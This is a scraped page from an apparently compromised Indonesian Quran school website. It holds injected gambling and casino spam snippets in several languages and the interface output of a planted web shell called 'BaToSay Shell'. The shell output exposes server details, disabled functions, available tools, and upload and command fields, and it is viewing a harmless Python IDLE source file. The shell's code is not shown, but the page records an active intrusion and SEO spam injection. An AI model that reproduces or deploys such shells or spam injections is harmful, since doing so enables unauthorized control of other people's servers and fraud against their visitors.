Pondok Pesantren Tahfizul Qur'an

“Problem De Segurida

“Problem De Seguridad Apuestas Deportivas, Cuotas Y Pronósticos En Odds Shark Content Ejemplos De Eventos Populares Para Apuesta Total Sobre […]

Türkiye Sah Web Sites

Türkiye Sah Web Sitesi Mostbet Türkiye Çevrimiçi Kumarhane Mostbet Casino Content Mostbet’te Bahis Yapılabilecek Spor Türleri Mobil Uygulamada Oturum Açma […]

Letöltés Okostelefonra Magyarországo

Letöltés Okostelefonra Magyarországon 20вет Саsіnо Оnlіnе Vélеménуеk Маgуаr Játékоsоk 2024″ Content Fеlеlőségtеljеs Játék А 20bеt Kаszіnóvаl “A New 20bet App […]

Butuh bantuan?
BaToSay Shell
BATOSAY Shell
Server IP : 45.126.43.27  /  Your IP : 3.12.107.31
Web Server : LiteSpeed
System : Linux serv02.awandns.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
User : annurindonesia ( 1064)
PHP Version : 7.4.33
Disable Function : exec,system,passthru,shell_exec,dl,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib64/python2.7/idlelib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /lib64/python2.7/idlelib/RstripExtension.py
'Provides "Strip trailing whitespace" under the "Format" menu.'

class RstripExtension:

    menudefs = [
        ('format', [None, ('Strip trailing whitespace', '<<do-rstrip>>'), ] ), ]

    def __init__(self, editwin):
        self.editwin = editwin
        self.editwin.text.bind("<<do-rstrip>>", self.do_rstrip)

    def do_rstrip(self, event=None):

        text = self.editwin.text
        undo = self.editwin.undo

        undo.undo_block_start()

        end_line = int(float(text.index('end')))
        for cur in range(1, end_line):
            txt = text.get('%i.0' % cur, '%i.end' % cur)
            raw = len(txt)
            cut = len(txt.rstrip())
            # Since text.delete() marks file as changed, even if not,
            # only call it when needed to actually delete something.
            if cut < raw:
                text.delete('%i.%i' % (cur, cut), '%i.end' % cur)

        undo.undo_block_stop()

if __name__ == "__main__":
    import unittest
    unittest.main('idlelib.idle_test.test_rstrip', verbosity=2, exit=False)

Batosay - 2023
IDNSEO Team